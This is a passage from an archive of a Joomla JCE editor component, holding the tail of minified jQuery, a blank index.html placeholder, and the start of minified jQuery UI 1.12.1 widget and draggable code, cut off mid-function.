r,i,o,a=!1!==e.jsonp&&(Yt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Yt.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Yt,"$1"+r):!1!==e.jsonp&&(e.url+=(St.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||k.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?k(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,Gt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),y.createHTMLDocument=((Vt=E.implementation.createHTMLDocument("").body).innerHTML="<form></form><form></form>",2===Vt.childNodes.length),k.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=D.exec(e))?[t.createElement(i[1])]:(i=we([e],t,o),o&&o.length&&k(o).remove(),k.merge([],i.childNodes)));var r,i,o},k.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1<s&&(r=mt(e.slice(s)),e=e.slice(0,s)),m(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),0<a.length&&k.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?k("<div>").append(k.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},k.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){k.fn[t]=function(e){return this.on(t,e)}}),k.expr.pseudos.animated=function(t){return k.grep(k.timers,function(e){return t===e.elem}).length},k.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=k.css(e,"position"),c=k(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=k.css(e,"top"),u=k.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,k.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},k.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){k.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===k.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===k.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=k(e).offset()).top+=k.css(e,"borderTopWidth",!0),i.left+=k.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-k.css(r,"marginTop",!0),left:t.left-i.left-k.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===k.css(e,"position"))e=e.offsetParent;return e||ie})}}),k.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;k.fn[t]=function(e){return _(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),k.each(["top","left"],function(e,n){k.cssHooks[n]=ze(y.pixelPosition,function(e,t){if(t)return t=_e(e,n),$e.test(t)?k(e).position()[n]+"px":t})}),k.each({Height:"height",Width:"width"},function(a,s){k.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){k.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return _(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?k.css(e,t,i):k.style(e,t,n,i)},s,n?e:void 0,n)}})}),k.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){k.fn[n]=function(e,t){return 0<arguments.length?this.on(n,null,e,t):this.trigger(n)}}),k.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),k.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),k.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),m(e))return r=s.call(arguments,2),(i=function(){return e.apply(t||this,r.concat(s.call(arguments)))}).guid=e.guid=e.guid||k.guid++,i},k.holdReady=function(e){e?k.readyWait++:k.ready(!0)},k.isArray=Array.isArray,k.parseJSON=JSON.parse,k.nodeName=A,k.isFunction=m,k.isWindow=x,k.camelCase=V,k.type=w,k.now=Date.now,k.isNumeric=function(e){var t=k.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return k});var Qt=C.jQuery,Jt=C.$;return k.noConflict=function(e){return C.$===k&&(C.$=Jt),e&&C.jQuery===k&&(C.jQuery=Qt),k},e||(C.jQuery=C.$=k),k});
com_jce/editor/libraries/jquery/js/index.html000060400000000054152453734450015344 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/jquery/js/jquery-ui.min.js000060400000245162152453734450016434 0ustar00/*! jQuery UI - v1.12.1 - 2019-04-09
* http://jqueryui.com
* Includes: widget.js, data.js, disable-selection.js, keycode.js, scroll-parent.js, widgets/draggable.js, widgets/resizable.js, widgets/sortable.js, widgets/mouse.js, widgets/slider.js
* Copyright jQuery Foundation and other contributors; Licensed MIT */

(function(t){"function"==typeof define&&define.amd?define(["jquery"],t):t(jQuery)})(function(t){t.ui=t.ui||{},t.ui.version="1.12.1";var e=0,i=Array.prototype.slice;t.cleanData=function(e){return function(i){var s,n,o;for(o=0;null!=(n=i[o]);o++)try{s=t._data(n,"events"),s&&s.remove&&t(n).triggerHandler("remove")}catch(a){}e(i)}}(t.cleanData),t.widget=function(e,i,s){var n,o,a,r={},l=e.split(".")[0];e=e.split(".")[1];var h=l+"-"+e;return s||(s=i,i=t.Widget),t.isArray(s)&&(s=t.extend.apply(null,[{}].concat(s))),t.expr[":"][h.toLowerCase()]=function(e){return!!t.data(e,h)},t[l]=t[l]||{},n=t[l][e],o=t[l][e]=function(t,e){return this._createWidget?(arguments.length&&this._createWidget(t,e),void 0):new o(t,e)},t.extend(o,n,{version:s.version,_proto:t.extend({},s),_childConstructors:[]}),a=new i,a.options=t.widget.extend({},a.options),t.each(s,function(e,s){return t.isFunction(s)?(r[e]=function(){function t(){return i.prototype[e].apply(this,arguments)}function n(t){return i.prototype[e].apply(this,t)}return function(){var e,i=this._super,o=this._superApply;return this._super=t,this._superApply=n,e=s.apply(this,arguments),this._super=i,this._superApply=o,e}}(),void 0):(r[e]=s,void 0)}),o.prototype=t.widget.extend(a,{widgetEventPrefix:n?a.widgetEventPrefix||e:e},r,{constructor:o,namespace:l,widgetName:e,widgetFullName:h}),n?(t.each(n._childConstructors,function(e,i){var s=i.prototype;t.widget(s.namespace+"."+s.widgetName,o,i._proto)}),delete n._childConstructors):i._childConstructors.push(o),t.widget.bridge(e,o),o},t.widget.extend=function(e){for(var s,n,o=i.call(arguments,1),a=0,r=o.length;r>a;a++)for(s in o[a])n=o[a][s],o[a].hasOwnProperty(s)&&void 0!==n&&(e[s]=t.isPlainObject(n)?t.isPlainObject(e[s])?t.widget.extend({},e[s],n):t.widget.extend({},n):n);return e},t.widget.bridge=function(e,s){var n=s.prototype.widgetFullName||e;t.fn[e]=function(o){var a="string"==typeof o,r=i.call(arguments,1),l=this;return a?this.length||"instance"!==o?this.each(function(){var i,s=t.data(this,n);return"instance"===o?(l=s,!1):s?t.isFunction(s[o])&&"_"!==o.charAt(0)?(i=s[o].apply(s,r),i!==s&&void 0!==i?(l=i&&i.jquery?l.pushStack(i.get()):i,!1):void 0):t.error("no such method '"+o+"' for "+e+" widget instance"):t.error("cannot call methods on "+e+" prior to initialization; "+"attempted to call method '"+o+"'")}):l=void 0:(r.length&&(o=t.widget.extend.apply(null,[o].concat(r))),this.each(function(){var e=t.data(this,n);e?(e.option(o||{}),e._init&&e._init()):t.data(this,n,new s(o,this))})),l}},t.Widget=function(){},t.Widget._childConstructors=[],t.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:!1,create:null},_createWidget:function(i,s){s=t(s||this.defaultElement||this)[0],this.element=t(s),this.uuid=e++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=t(),this.hoverable=t(),this.focusable=t(),this.classesElementLookup={},s!==this&&(t.data(s,this.widgetFullName,this),this._on(!0,this.element,{remove:function(t){t.target===s&&this.destroy()}}),this.document=t(s.style?s.ownerDocument:s.document||s),this.window=t(this.document[0].defaultView||this.document[0].parentWindow)),this.options=t.widget.extend({},this.options,this._getCreateOptions(),i),this._create(),this.options.disabled&&this._setOptionDisabled(this.options.disabled),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:t.noop,_create:t.noop,_init:t.noop,destroy:function(){var e=this;this._destroy(),t.each(this.classesElementLookup,function(t,i){e._removeClass(i,t)}),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:t.noop,widget:function(){return this.element},option:function(e,i){var s,n,o,a=e;if(0===arguments.length)return t.widget.extend({},this.options);if("string"==typeof e)if(a={},s=e.split("."),e=s.shift(),s.length){for(n=a[e]=t.widget.extend({},this.options[e]),o=0;s.length-1>o;o++)n[s[o]]=n[s[o]]||{},n=n[s[o]];if(e=s.pop(),1===arguments.length)return void 0===n[e]?null:n[e];n[e]=i}else{if(1===arguments.length)return void 0===this.options[e]?null:this.options[e];a[e]=i}return this._setOptions(a),this},_setOptions:function(t){var e;for(e in t)this._setOption(e,t[e]);return this},_setOption:function(t,e){return"classes"===t&&this._setOptionClasses(e),this.options[t]=e,"disabled"===t&&this._setOptionDisabled(e),this},_setOptionClasses:function(e){var i,s,n;for(i in e)n=this.classesElementLookup[i],e[i]!==this.options.classes[i]&&n&&n.length&&(s=t(n.get()),this._removeClass(n,i),s.addClass(this._classes({element:s,keys:i,classes:e,add:!0})))},_setOptionDisabled:function(t){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!t),t&&(this._removeClass(this.hoverable,null,"ui-state-hover"),this._removeClass(this.focusable,null,"ui-state-focus"))},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_classes:function(e){function i(i,o){var a,r;for(r=0;i.length>r;r++)a=n.classesElementLookup[i[r]]||t(),a=e.add?t(t.unique(a.get().concat(e.element.get()))):t(a.not(e.element).get()),n.classesElementLookup[i[r]]=a,s.push(i[r]),o&&e.classes[i[r]]&&s.push(e.classes[i[r]])}var s=[],n=this;return e=t.extend({element:this.element,classes:this.options.classes||{}},e),this._on(e.element,{remove:"_untrackClassesElement"}),e.keys&&i(e.keys.match(/\S+/g)||[],!0),e.extra&&i(e.extra.match(/\S+/g)||[]),s.join(" ")},_untrackClassesElement:function(e){var i=this;t.each(i.classesElementLookup,function(s,n){-1!==t.inArray(e.target,n)&&(i.classesElementLookup[s]=t(n.not(e.target).get()))})},_removeClass:function(t,e,i){return this._toggleClass(t,e,i,!1)},_addClass:function(t,e,i){return this._toggleClass(t,e,i,!0)},_toggleClass:function(t,e,i,s){s="boolean"==typeof s?s:i;var n="string"==typeof t||null===t,o={extra:n?e:i,keys:n?t:e,element:n?this.element:t,add:s};return o.element.toggleClass(this._classes(o),s),this},_on:function(e,i,s){var n,o=this;"boolean"!=typeof e&&(s=i,i=e,e=!1),s?(i=n=t(i),this.bindings=this.bindings.add(i)):(s=i,i=this.element,n=this.widget()),t.each(s,function(s,a){function r(){return e||o.options.disabled!==!0&&!t(this).hasClass("ui-state-disabled")?("string"==typeof a?o[a]:a).apply(o,arguments):void 0}"string"!=typeof a&&(r.guid=a.guid=a.guid||r.guid||t.guid++);var l=s.match(/^([\w:-]*)\s*(.*)$/),h=l[1]+o.eventNamespace,c=l[2];c?n.on(h,c,r):i.on(h,r)})},_off:function(e,i){i=(i||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,e.off(i).off(i),this.bindings=t(this.bindings.not(e).get()),this.focusable=t(this.focusable.not(e).get()),this.hoverable=t(this.hoverable.not(e).get())},_delay:function(t,e){function i(){return("string"==typeof t?s[t]:t).apply(s,arguments)}var s=this;return setTimeout(i,e||0)},_hoverable:function(e){this.hoverable=this.hoverable.add(e),this._on(e,{mouseenter:function(e){this._addClass(t(e.currentTarget),null,"ui-state-hover")},mouseleave:function(e){this._removeClass(t(e.currentTarget),null,"ui-state-hover")}})},_focusable:function(e){this.focusable=this.focusable.add(e),this._on(e,{focusin:function(e){this._addClass(t(e.currentTarget),null,"ui-state-focus")},focusout:function(e){this._removeClass(t(e.currentTarget),null,"ui-state-focus")}})},_trigger:function(e,i,s){var n,o,a=this.options[e];if(s=s||{},i=t.Event(i),i.type=(e===this.widgetEventPrefix?e:this.widgetEventPrefix+e).toLowerCase(),i.target=this.element[0],o=i.originalEvent)for(n in o)n in i||(i[n]=o[n]);return this.element.trigger(i,s),!(t.isFunction(a)&&a.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},t.each({show:"fadeIn",hide:"fadeOut"},function(e,i){t.Widget.prototype["_"+e]=function(s,n,o){"string"==typeof n&&(n={effect:n});var a,r=n?n===!0||"number"==typeof n?i:n.effect||i:e;n=n||{},"number"==typeof n&&(n={duration:n}),a=!t.isEmptyObject(n),n.complete=o,n.delay&&s.delay(n.delay),a&&t.effects&&t.effects.effect[r]?s[e](n):r!==e&&s[r]?s[r](n.duration,n.easing,o):s.queue(function(i){t(this)[e](),o&&o.call(s[0]),i()})}}),t.widget,t.extend(t.expr[":"],{data:t.expr.createPseudo?t.expr.createPseudo(function(e){return function(i){return!!t.data(i,e)}}):function(e,i,s){return!!t.data(e,s[3])}}),t.fn.extend({disableSelection:function(){var t="onselectstart"in document.createElement("div")?"selectstart":"mousedown";return function(){return this.on(t+".ui-disableSelection",function(t){t.preventDefault()})}}(),enableSelection:function(){return this.off(".ui-disableSelection")}}),t.ui.keyCode={BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38},t.fn.scrollParent=function(e){var i=this.css("position"),s="absolute"===i,n=e?/(auto|scroll|hidden)/:/(auto|scroll)/,o=this.parents().filter(function(){var e=t(this);return s&&"static"===e.css("position")?!1:n.test(e.css("overflow")+e.css("overflow-y")+e.css("overflow-x"))}).eq(0);return"fixed"!==i&&o.length?o:t(this[0].ownerDocument||document)},t.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase());var s=!1;t(document).on("mouseup",function(){s=!1}),t.widget("ui.mouse",{version:"1.12.1",options:{cancel:"input, textarea, button, select, option",distance:1,delay:0},_mouseInit:function(){var e=this;this.element.on("mousedown."+this.widgetName,function(t){return e._mouseDown(t)}).on("click."+this.widgetName,function(i){return!0===t.data(i.target,e.widgetName+".preventClickEvent")?(t.removeData(i.target,e.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1):void 0}),this.started=!1},_mouseDestroy:function(){this.element.off("."+this.widgetName),this._mouseMoveDelegate&&this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(e){if(!s){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(e),this._mouseDownEvent=e;var i=this,n=1===e.which,o="string"==typeof this.options.cancel&&e.target.nodeName?t(e.target).closest(this.options.cancel).length:!1;return n&&!o&&this._mouseCapture(e)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){i.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(e)!==!1,!this._mouseStarted)?(e.preventDefault(),!0):(!0===t.data(e.target,this.widgetName+".preventClickEvent")&&t.removeData(e.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(t){return i._mouseMove(t)},this._mouseUpDelegate=function(t){return i._mouseUp(t)},this.document.on("mousemove."+this.widgetName,this._mouseMoveDelegate).on("mouseup."+this.widgetName,this._mouseUpDelegate),e.preventDefault(),s=!0,!0)):!0}},_mouseMove:function(e){if(this._mouseMoved){if(t.ui.ie&&(!document.documentMode||9>document.documentMode)&&!e.button)return this._mouseUp(e);if(!e.which)if(e.originalEvent.altKey||e.originalEvent.ctrlKey||e.originalEvent.metaKey||e.originalEvent.shiftKey)this.ignoreMissingWhich=!0;else if(!this.ignoreMissingWhich)return this._mouseUp(e)}return(e.which||e.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(e),e.preventDefault()):(this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,e)!==!1,this._mouseStarted?this._mouseDrag(e):this._mouseUp(e)),!this._mouseStarted)},_mouseUp:function(e){this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,e.target===this._mouseDownEvent.target&&t.data(e.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(e)),this._mouseDelayTimer&&(clearTimeout(this._mouseDelayTimer),delete this._mouseDelayTimer),this.ignoreMissingWhich=!1,s=!1,e.preventDefault()},_mouseDistanceMet:function(t){return Math.max(Math.abs(this._mouseDownEvent.pageX-t.pageX),Math.abs(this._mouseDownEvent.pageY-t.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),t.ui.plugin={add:function(e,i,s){var n,o=t.ui[e].prototype;for(n in s)o.plugins[n]=o.plugins[n]||[],o.plugins[n].push([i,s[n]])},call:function(t,e,i,s){var n,o=t.plugins[e];if(o&&(s||t.element[0].parentNode&&11!==t.element[0].parentNode.nodeType))for(n=0;o.length>n;n++)t.options[o[n][0]]&&o[n][1].apply(t.element,i)}},t.ui.safeActiveElement=function(t){var e;try{e=t.activeElement}catch(i){e=t.body}return e||(e=t.body),e.nodeName||(e=t.body),e},t.ui.safeBlur=function(e){e&&"body"!==e.nodeName.toLowerCase()&&t(e).trigger("blur")},t.widget("ui.draggable",t.ui.mouse,{version:"1.12.1",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"===this.options.helper&&this._setPositionRelative(),this.options.addClasses&&this._addClass("ui-draggable"),this._setHandleClassName(),this._mouseInit()},_setOption:function(t,e){this._super(t,e),"handle"===t&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){return(this.helper||this.element).is(".ui-draggable-dragging")?(this.destroyOnClear=!0,void 0):(this._removeHandleClassName(),this._mouseDestroy(),void 0)},_mouseCapture:function(e){var i=this.options;return this.helper||i.disabled||t(e.target).closest(".ui-resizable-handle").length>0?!1:(this.handle=this._getHandle(e),this.handle?(this._blurActiveElement(e),this._blockFrames(i.iframeFix===!0?"iframe":i.iframeFix),!0):!1)},_blockFrames:function(e){this.iframeBlocks=this.document.find(e).map(function(){var e=t(this);return t("<div>").css("position","absolute").appendTo(e.parent()).outerWidth(e.outerWidth()).outerHeight(e.outerHeight()).offset(e.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_blurActiveElement:function(e){var i=t.ui.safeActiveElement(this.document[0]),s=t(e.target);s.closest(i).length||t.ui.safeBlur(i)},_mouseStart:function(e){var i=this.options;return this.helper=this._createHelper(e),this._addClass(this.helper,"ui-draggable-dragging"),this._cacheHelperProportions(),t.ui.ddmanager&&(t.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=this.helper.parents().filter(function(){return"fixed"===t(this).css("position")}).length>0,this.positionAbs=this.element.offset(),this._refreshOffsets(e),this.originalPosition=this.position=this._generatePosition(e,!1),this.originalPageX=e.pageX,this.originalPageY=e.pageY,i.cursorAt&&this._adjustOffsetFromHelper(i.cursorAt),this._setContainment(),this._trigger("start",e)===!1?(this._clear(),!1):(this._cacheHelperProportions(),t.ui.ddmanager&&!i.dropBehaviour&&t.ui.ddmanager.prepareOffsets(this,e),this._mouseDrag(e,!0),t.ui.ddmanager&&t.ui.ddmanager.dragStart(this,e),!0)},_refreshOffsets:function(t){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()},this.offset.click={left:t.pageX-this.offset.left,top:t.pageY-this.offset.top}},_mouseDrag:function(e,i){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(e,!0),this.positionAbs=this._convertPositionTo("absolute"),!i){var s=this._uiHash();if(this._trigger("drag",e,s)===!1)return this._mouseUp(new t.Event("mouseup",e)),!1;this.position=s.position}return this.helper[0].style.left=this.position.left+"px",this.helper[0].style.top=this.position.top+"px",t.ui.ddmanager&&t.ui.ddmanager.drag(this,e),!1},_mouseStop:function(e){var i=this,s=!1;return t.ui.ddmanager&&!this.options.dropBehaviour&&(s=t.ui.ddmanager.drop(this,e)),this.dropped&&(s=this.dropped,this.dropped=!1),"invalid"===this.options.revert&&!s||"valid"===this.options.revert&&s||this.options.revert===!0||t.isFunction(this.options.revert)&&this.options.revert.call(this.element,s)?t(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){i._trigger("stop",e)!==!1&&i._clear()}):this._trigger("stop",e)!==!1&&this._clear(),!1},_mouseUp:function(e){return this._unblockFrames(),t.ui.ddmanager&&t.ui.ddmanager.dragStop(this,e),this.handleElement.is(e.target)&&this.element.trigger("focus"),t.ui.mouse.prototype._mouseUp.call(this,e)},cancel:function(){return this.helper.is(".ui-draggable-dragging")?this._mouseUp(new t.Event("mouseup",{target:this.element[0]})):this._clear(),this},_getHandle:function(e){return this.options.handle?!!t(e.target).closest(this.element.find(this.options.handle)).length:!0},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element,this._addClass(this.handleElement,"ui-draggable-handle")},_removeHandleClassName:function(){this._removeClass(this.handleElement,"ui-draggable-handle")},_createHelper:function(e){var i=this.options,s=t.isFunction(i.helper),n=s?t(i.helper.apply(this.element[0],[e])):"clone"===i.helper?this.element.clone().removeAttr("id"):this.element;return n.parents("body").length||n.appendTo("parent"===i.appendTo?this.element[0].parentNode:i.appendTo),s&&n[0]===this.element[0]&&this._setPositionRelative(),n[0]===this.element[0]||/(fixed|absolute)/.test(n.css("position"))||n.css("position","absolute"),n},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative")},_adjustOffsetFromHelper:function(e){"string"==typeof e&&(e=e.split(" ")),t.isArray(e)&&(e={left:+e[0],top:+e[1]||0}),"left"in e&&(this.offset.click.left=e.left+this.margins.left),"right"in e&&(this.offset.click.left=this.helperProportions.width-e.right+this.margins.left),"top"in e&&(this.offset.click.top=e.top+this.margins.top),"bottom"in e&&(this.offset.click.top=this.helperProportions.height-e.bottom+this.margins.top)},_isRootNode:function(t){return/(html|body)/i.test(t.tagName)||t===this.document[0]},_getParentOffset:function(){var e=this.offsetParent.offset(),i=this.document[0];return"absolute"===this.cssPosition&&this.scrollParent[0]!==i&&t.contains(this.scrollParent[0],this.offsetParent[0])&&(e.left+=this.scrollParent.scrollLeft(),e.top+=this.scrollParent.scrollTop()),this._isRootNode(this.offsetParent[0])&&(e={top:0,left:0}),{top:e.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:e.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var t=this.element.position(),e=this._isRootNode(this.scrollParent[0]);return{top:t.top-(parseInt(this.helper.css("top"),10)||0)+(e?0:this.scrollParent.scrollTop()),left:t.left-(parseInt(this.helper.css("left"),10)||0)+(e?0:this.scrollParent.scrollLeft())}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var e,i,s,n=this.options,o=this.document[0];return this.relativeContainer=null,n.containment?"window"===n.containment?(this.containment=[t(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,t(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,t(window).scrollLeft()+t(window).width()-this.helperProportions.width-this.margins.left,t(window).scrollTop()+(t(window).height()||o.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):"document"===n.containment?(this.containment=[0,0,t(o).width()-this.helperProportions.width-this.margins.left,(t(o).height()||o.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):n.containment.constructor===Array?(this.containment=n.containment,void 0):("parent"===n.containment&&(n.containment=this.helper[0].parentNode),i=t(n.containment),s=i[0],s&&(e=/(scroll|auto)/.test(i.css("overflow")),this.containment=[(parseInt(i.css("borderLeftWidth"),10)||0)+(parseInt(i.css("paddingLeft"),10)||0),(parseInt(i.css("borderTopWidth"),10)||0)+(parseInt(i.css("paddingTop"),10)||0),(e?Math.max(s.scrollWidth,s.offsetWidth):s.offsetWidth)-(parseInt(i.css("borderRightWidth"),10)||0)-(parseInt(i.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(e?Math.max(s.scrollHeight,s.offsetHeight):s.offsetHeight)-(parseInt(i.css("borderBottomWidth"),10)||0)-(parseInt(i.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=i),void 0):(this.containment=null,void 0)},_convertPositionTo:function(t,e){e||(e=this.position);var i="absolute"===t?1:-1,s=this._isRootNode(this.scrollParent[0]);return{top:e.top+this.offset.relative.top*i+this.offset.parent.top*i-("fixed"===this.cssPosition?-this.offset.scroll.top:s?0:this.offset.scroll.top)*i,left:e.left+this.offset.relative.left*i+this.offset.parent.left*i-("fixed"===this.cssPosition?-this.offset.scroll.left:s?0:this.offset.scroll.left)*i}},_generatePosition:function(t,e){var i,s,n,o,a=this.options,r=this._isRootNode(this.scrollParent[0]),l=t.pageX,h=t.pageY;return r&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),e&&(this.containment&&(this.relativeContainer?(s=this.relativeContainer.offset(),i=[this.containment[0]+s.left,this.containment[1]+s.top,this.containment[2]+s.left,this.containment[3]+s.top]):i=this.containment,t.pageX-this.offset.click.left<i[0]&&(l=i[0]+this.offset.click.left),t.pageY-this.offset.click.top<i[1]&&(h=i[1]+this.offset.click.top),t.pageX-this.offset.click.left>i[2]&&(l=i[2]+this.offset.click.left),t.pageY-this.offset.click.top>i[3]&&(h=i[3]+this.offset.click.top)),a.grid&&(n=a.grid[1]?this.originalPageY+Math.round((h-this.originalPageY)/a.grid[1])*a.grid[1]:this.originalPageY,h=i?n-this.offset.click.top>=i[1]||n-this.offset.click.top>i[3]?n:n-this.offset.click.top>=i[1]?n-a.grid[1]:n+a.grid[1]:n,o=a.grid[0]?this.originalPageX+Math.round((l-this.originalPageX)/a.grid[0])*a.grid[0]:this.originalPageX,l=i?o-this.offset.click.left>=i[0]||o-this.offset.click.left>i[2]?o:o-this.offset.click.left>=i[0]?o-a.grid[0]:o+a.grid[0]:o),"y"===a.axis&&(l=this.originalPageX),"x"===a.axis&&(h=this.originalPageY)),{top:h-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.offset.scroll.top:r?0:this.offset.scroll.top),left:l-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fi